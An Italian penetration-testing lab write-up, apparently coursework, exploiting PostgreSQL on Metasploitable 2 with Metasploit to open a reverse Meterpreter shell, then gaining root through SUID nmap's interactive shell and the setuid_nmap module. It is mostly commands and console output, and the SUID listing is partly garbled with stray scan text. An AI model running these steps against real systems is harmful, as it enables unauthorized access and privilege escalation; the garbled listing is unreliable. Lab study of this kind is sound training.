

# Exploit con Meterpreter sfruttando vulnerabilità note

## Consegna

Usa il modulo **exploit/linux/postgres/postgres\_payload** per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

## Bonus

- Usa il modulo post di msfconsole per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
  - Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
  - Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente getuid o tentando di eseguire un comando che richiede privilegi di root.

## Configurazione delle macchine

Ho iniziato il laboratorio configurando manualmente gli indirizzi IP delle due macchine:

- **Kali Linux:** 192.168.1.25
- **Metasploitable2:** 192.168.1.40

Dopo la configurazione, ho verificato la connettività tra le due macchine tramite il comando ping.

```
File Actions Edit View Help
(kali@kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data:
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.248 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.158 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.151 ms
```

## Identificazione del servizio PostgreSQL

Per verificare che il servizio **PostgreSQL** fosse attivo sulla macchina target, ho eseguito una scansione delle porte tramite **Nmap**.

```
(kali@kali)-[~]
$ nmap -sS -T4 192.168.1.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-
Nmap scan report for 192.168.1.40
Host is up (0.000061s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shells
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
```

La scansione ha mostrato che la porta **5432/TCP**, corrispondente al servizio **PostgreSQL**, era **aperta**.

## Avvio di Metasploit Framework e Configurazione dell'exploit

Ho avviato l'ambiente di lavoro **Metasploit** tramite il comando **msfconsole** e dopo il caricamento, ho selezionato l'exploit necessario per sfruttare la vulnerabilità di PostgreSQL **use exploit/linux/postgres/postgres\_payload** (grazie allo **show options** ho capito che dovrei configurare RHOSTS, ovvero la macchina attaccata, e LHOST, la macchina target).

```
[*] New in Metasploit 0.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
  VERBOSE   false            no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
  SESSION                    no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
  DATABASE  postgres         no        The database to authenticate against
  PASSWORD  postgres         no        The password for the specified username. Leave blank for default
  RHOSTS                    no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html#section-2.4.1
  RPORT     5432             no        The target port
  USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST                    yes        The listen address (an interface may be specified)
  LPORT     4444            yes        The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux x86
```

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.25
LHOST => 192.168.1.25
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/owDEShVc.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.40:38589) at 2025-08-27 08:28:11 -0400

meterpreter > █
```

Dopo alcuni secondi, l'exploit è andato a buon fine, stabilendo una connessione reverse dalla macchina target verso l'attaccante con una shell meterpreter. In seguito ho verificato l'utente corrente tramite il comando **getuid**. Al momento dell'accesso iniziale, ero collegato come utente limitato **postgres**.

```
meterpreter > getuid
Server username: postgres
```

## Passaggio a shell e ricognizione

Ho avviato una shell interattiva all'interno di Meterpreter con il comando **shell** e poi ho cercato i file SUID (quelli che permettono l'esecuzione con privilegi elevati) tramite la stringa di comando **find / -perm -u=s -type f 2>/dev/null**

```
find / -perm -u=s -type f 2>/dev/null
/bin/umounten -nfs
/bin/fusermountecproxy-ftp
/bin/sudo open -mysql
/bin/mountben -postgresql
/bin/pingopen -vnc
/bin/ping6ben -x11
/sbin/mount.nfsirc
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoeditknown
/usr/bin/X: 08:00:27:FF:AC:20 (PCS Systemte
/usr/bin/netkit-rsh
/usr/bin/gpasswdaddress (1 host up) scanned
/usr/bin/traceroute6.iputils
/usr/bin/sudo [-~]
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
```

## Privilege Escalation tramite Nmap

Tra i risultati, ho notato che Nmap era tra i file con SUID, il che rappresenta una potenziale via per l'escalation. Ho quindi deciso di sfruttarlo tramite la modalità interattiva. In seguito dalla console interattiva di Nmap, ho avviato una shell privilegiata con il comando **!sh** e ho verificato i miei privilegi con **whoami**.

```
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

## Bonus

Ho messo in background la sessione Meterpreter. Poi ho lanciato il modulo **Local Exploit Suggester** per identificare exploit locali disponibili:

**use post/multi/recon/local\_exploit\_suggester**

**set SESSION 1**

**run**

Il modulo ha suggerito diversi exploit, tra cui **exploit/unix/local/setuid\_nmap**.

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > sessions -l

Active sessions
=====
  Id  Name  Type  Information  Connection
  --  --
  1    meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.25:4444 → 192.168.1.40:49026 (192.168.1.40)

msf6 exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester
```

```
[*] 192.168.1.40 - Valid modules for session 1:
```

```
100/tcp/open_mysql
```

#	Name	Potentially Vulnerable?	Check Result
-	-	-	-
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Yes	The target appears to be vulnerable
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Yes	The target appears to be vulnerable
3	exploit/linux/local/netfilter_priv_esc_ipv4	Yes	The target appears to be vulnerable
4	exploit/linux/local/ptrace_sudo_token_priv_esc	Yes	The service is vulnerable
5	exploit/linux/local/su_login	Yes	The target appears to be vulnerable
6	exploit/unix/local/setuid_nmap	Yes	The target is vulnerable

Ho quindi collegato l'exploit alla sessione attiva (1), avviato l'attacco finale e verificato che fossi **root**.

```
View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/local/setuid_nmap) > set session 1  
session => 1
```

```
msf6 exploit(unix/local/setuid_nmap) > run
```

```
[*] Started reverse TCP handler on 192.168.1.25:4444
```

```
[*] Dropping lua /tmp/OYsVRqZK.nse
```

```
[*] Running /tmp/OYsVRqZK.nse with Nmap
```

```
[*] Command shell session 2 opened (192.168.1.25:4444 → 192.168.1.40:45401) at 2025-08-27 09:58:39 -0400
```

```
whoami  
root
```

## Nota finale:

Per farsi che l'exploit funzionasse ho dovuto impostare un payload compatibile con x86 ovvero **set payload cmd/unix/reverse\_netcat**